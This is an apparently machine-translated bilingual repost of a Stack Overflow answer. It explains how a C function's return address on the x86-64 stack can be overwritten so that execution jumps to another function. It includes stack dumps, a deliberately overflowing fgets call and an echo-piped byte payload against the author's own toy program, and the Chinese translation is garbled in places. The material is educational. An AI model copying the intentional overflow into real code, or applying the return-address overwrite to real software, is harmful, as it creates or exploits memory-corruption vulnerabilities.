[英]Buffer overflow , stack pointer manipulation using GDB
I have a simple problem in c which may be solved using GDB, but I am not able to solved it. 我在c中有一个简单的问题,可以使用GDB解决,但是我无法解决。
We have a main() function which calls another function, say A(). 我们有一个main()函数,该函数调用另一个函数,例如A()。 When function A() executes and returns, instead of returning to main() it goes to another function, say B().
当函数A()执行并返回时,而不是返回main()而是转到另一个函数,例如B()。
I don't know what to do in A() so that return address will change. 我不知道在A()中做什么,以便返回地址会改变。
Assuming, the OP wants to force a return from A()
to B()
instead of to main()
from where A()
was called before... 假设OP想要强制从
A()
返回B()
而不是从之前调用A()
main()
...
I always believed to know how this might happen but never tried by myself. 我一直相信知道如何发生,但从未尝试过自己。 So, I couldn't resist to fiddle a bit.
所以,我忍不住要摆弄一点。
Manipulation of return can hardly be done portable as it exploits facts of the generated code which may depend on compiler version, compiler settings, platform, and whatever. 返回操作几乎无法移植,因为它利用了所生成代码的事实,该事实可能取决于编译器版本,编译器设置,平台等。
At first, I tried to find out some details about coliru which I planned to use for fiddling: 最初,我试图找出一些我计划用来摆弄的大肠菌的细节:
#include <stdio.h>
int main()
{
printf("sizeof (void*): %d\n", sizeof (void*));
printf("sizeof (void*) == sizeof (void(*)()): %s\n",
sizeof (void*) == sizeof (void(*)()) ? "yes" : "no");
return 0;
}
Output: 输出:
gcc (GCC) 8.2.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
sizeof (void*): 8
sizeof (void*) == sizeof (void(*)()): yes
Live Demo on coliru 在coliru上进行现场演示
Next, I made a minimal sample to get an impression about the code which will be generated: 接下来,我做了一个最小的示例,以对即将生成的代码有一个印象:
Source code: 源代码:
#include <stdio.h>
void B()
{
puts("in B()");
}
void A()
{
puts("in A()");
}
int main()
{
puts("call A():");
A();
return 0;
}
Compiled with x86-64 gcc 8.2
and -O0
: 与
x86-64 gcc 8.2
和-O0
一起编译:
.LC0:
.string "in B()"
B:
push rbp
mov rbp, rsp
mov edi, OFFSET FLAT:.LC0
call puts
nop
pop rbp
ret
.LC1:
.string "in A()"
A:
push rbp
mov rbp, rsp
mov edi, OFFSET FLAT:.LC1
call puts
nop
pop rbp
ret
.LC2:
.string "call A():"
main:
push rbp
mov rbp, rsp
mov edi, OFFSET FLAT:.LC2
call puts
mov eax, 0
call A
mov eax, 0
pop rbp
ret
Live Explore on godbolt 实时探索Godbolt
On Intel x86/x64: 在Intel x86 / x64上:
call
stores the return address on stack before jumping to the given address call
将返回地址存储在堆栈中 ret
pops the return address from stack into PC reg. ret
将返回地址从堆栈弹出到PC reg中。 again. (Other CPUs might do this differently.) (其他CPU可能会有所不同。)
Additionally, the 此外,
push rbp
mov rbp, rsp
is interesting as push
stores something on stack as well while rsp
is the register with current stack top address and rbp
its companion which is usually used for relative addressing of local variables. 有趣的是为
push
卖场上的东西堆以及同时rsp
是当前栈顶地址寄存器和rbp
其同伴它通常用于相对寻址局部变量。
So, a local variable (which is addressed relative to rbp
– if not optimized) might have a fix offset to the return address on stack. 因此,局部变量(如果未优化则相对于
rbp
寻址)可能具有到堆栈返回地址的固定偏移量。
So, I added some code to the first sample to come in touch: 因此,我在第一个接触的示例中添加了一些代码:
#include <stdio.h>
typedef unsigned char byte;
void B()
{
puts("in B()");
}
void A()
{
puts("in A()");
char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
byte *pI = (byte*)buffer;
// dump some bytes from stack
for (int i = 0; i < 64; ++i) {
if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
printf(" %02x", pI[i]);
if (i % 8 == 7) putchar('\n');
}
}
int main()
{
printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
puts("call A():");
A();
return 0;
}
Output: 输出:
&main(): 0x400613, &A(): 0x400553, &B(): 0x400542
call A():
in A()
0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00
0x7ffcdedc9760: (+40) 50 06 40 00 00 00 00 00
0x7ffcdedc9768: (+48) 30 48 4a f3 3e 7f 00 00
0x7ffcdedc9770: (+56) 00 00 00 00 00 00 00 00
Live Demo on coliru This is what I read from this: coliru现场演示这是我从中读到的内容:
0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00 # local var. buffer
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00 # local var. pI (with address of buffer)
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00 # local var. i (4 bytes)
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00 # pushed rbp
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00 # 0x400649 <- Aha!
0x400649
is an address which is slightly higher than the address of main()
( 0x400613
). 0x400649
是比main()
( 0x400613
)的地址稍高的地址。 Considering, that there was some code in main()
prior the call of A()
this makes perfectly sense. 考虑到,在
A()
调用之前main()
中有一些代码是完全合理的。
So, if I want to manipulate the return address this has to happen at pI + 32
: 因此,如果我要操纵返回地址,则必须在
pI + 32
:
#include <stdio.h>
#include <stdlib.h>
typedef unsigned char byte;
void B()
{
puts("in B()");
exit(0);
}
void A()
{
puts("in A()");
char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
byte *pI = (byte*)buffer;
// dump some bytes from stack
for (int i = 0; i < 64; ++i) {
if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
printf(" %02x", pI[i]);
if (i % 8 == 7) putchar('\n');
}
printf("Possible candidate for ret address: %p\n", *(void**)(pI + 32));
*(void**)(pI + 32) = (byte*)&B;
}
int main()
{
printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
puts("call A():");
A();
return 0;
}
Ie I "patch" the address of function B()
as the return address into the stack. 即我将函数
B()
的地址“修补”为返回地址到堆栈中。
Output: 输出:
&main(): 0x400696, &A(): 0x4005aa, &B(): 0x400592
call A():
in A()
0x7fffe0eb0858: (+ 0) 00 de ad be ef 4a 11 00
0x7fffe0eb0860: (+ 8) 58 08 eb e0 ff 7f 00 00
0x7fffe0eb0868: (+16) 80 08 eb e0 14 00 00 00
0x7fffe0eb0870: (+24) 80 08 eb e0 ff 7f 00 00
0x7fffe0eb0878: (+32) cc 06 40 00 00 00 00 00
0x7fffe0eb0880: (+40) e0 06 40 00 00 00 00 00
0x7fffe0eb0888: (+48) 30 c8 41 84 42 7f 00 00
0x7fffe0eb0890: (+56) 00 00 00 00 00 00 00 00
Possible candidate for ret address: 0x4006cc
in B()
Live Demo on coliru 在coliru上进行现场演示
Et voilà: in B()
. Etvoilà:
in B()
。
Instead of assigning the address directly, the same could be achieved by storing a string with at least 40 char
s into buffer
(only 8 char
s capacity): 代替直接分配地址,可以通过将至少40个
char
的字符串存储到buffer
(容量仅为8个char
)中来实现:
#include <stdio.h>
#include <stdlib.h>
typedef unsigned char byte;
void B()
{
puts("in B()");
exit(0);
}
void A()
{
puts("in A()");
char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
byte *pI = (byte*)buffer;
// dump some bytes from stack
for (int i = 0; i < 64; ++i) {
if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
printf(" %02x", pI[i]);
if (i % 8 == 7) putchar('\n');
}
// provoke buffer overflow vulnerability
printf("Input: "); fflush(stdout);
fgets(buffer, 40, stdin); // <- intentionally wrong use
// show result
putchar('\n');
}
int main()
{
printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
puts("call A():");
A();
return 0;
}
Compiled and executed with: 编译并执行:
$ gcc -std=c11 -O0 main.c
$ echo -e " \xa2\x06\x40\0\0\0\0\0" | ./a.out
To input the exact sequence of bytes by keyboard might be a bit difficult. 用键盘输入确切的字节顺序可能有点困难。 Copy/paste might work.
复制/粘贴可能有效。 I used
echo
and redirection to keep things simple. 我使用
echo
和重定向使事情保持简单。
Output: 输出:
&main(): 0x4007ba, &A(): 0x4006ba, &B(): 0x4006a2
call A():
in A()
0x7ffd1700bac8: (+ 0) 00 de ad be ef 4a 11 00
0x7ffd1700bad0: (+ 8) c8 ba 00 17 fd 7f 00 00
0x7ffd1700bad8: (+16) f0 ba 00 17 14 00 00 00
0x7ffd1700bae0: (+24) f0 ba 00 17 fd 7f 00 00
0x7ffd1700bae8: (+32) f0 07 40 00 00 00 00 00
0x7ffd1700baf0: (+40) 00 08 40 00 00 00 00 00
0x7ffd1700baf8: (+48) 30 48 37 0f 5b 7f 00 00
0x7ffd1700bb00: (+56) 00 00 00 00 00 00 00 00
Input:
in B()
Live Demo on coliru 在coliru上进行现场演示
Please, note that the input of 32 spaces (to align the return address "\\xa2\\x06\\x40\\0\\0\\0\\0\\0"
to the intended offset) "destroys" all the internals of A()
which are stored in this range. 请注意,输入32个空格(将返回地址
"\\xa2\\x06\\x40\\0\\0\\0\\0\\0"
对准预期的偏移量)“破坏”了A()
所有内部存储在此范围内。 This might have fatal consequences for the stability of the process but, eventually, it's intact enough to reach B()
and report that to console. 这可能会对过程的稳定性产生致命的影响,但是最终,它完整无缺,可以到达
B()
并将其报告给控制台。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.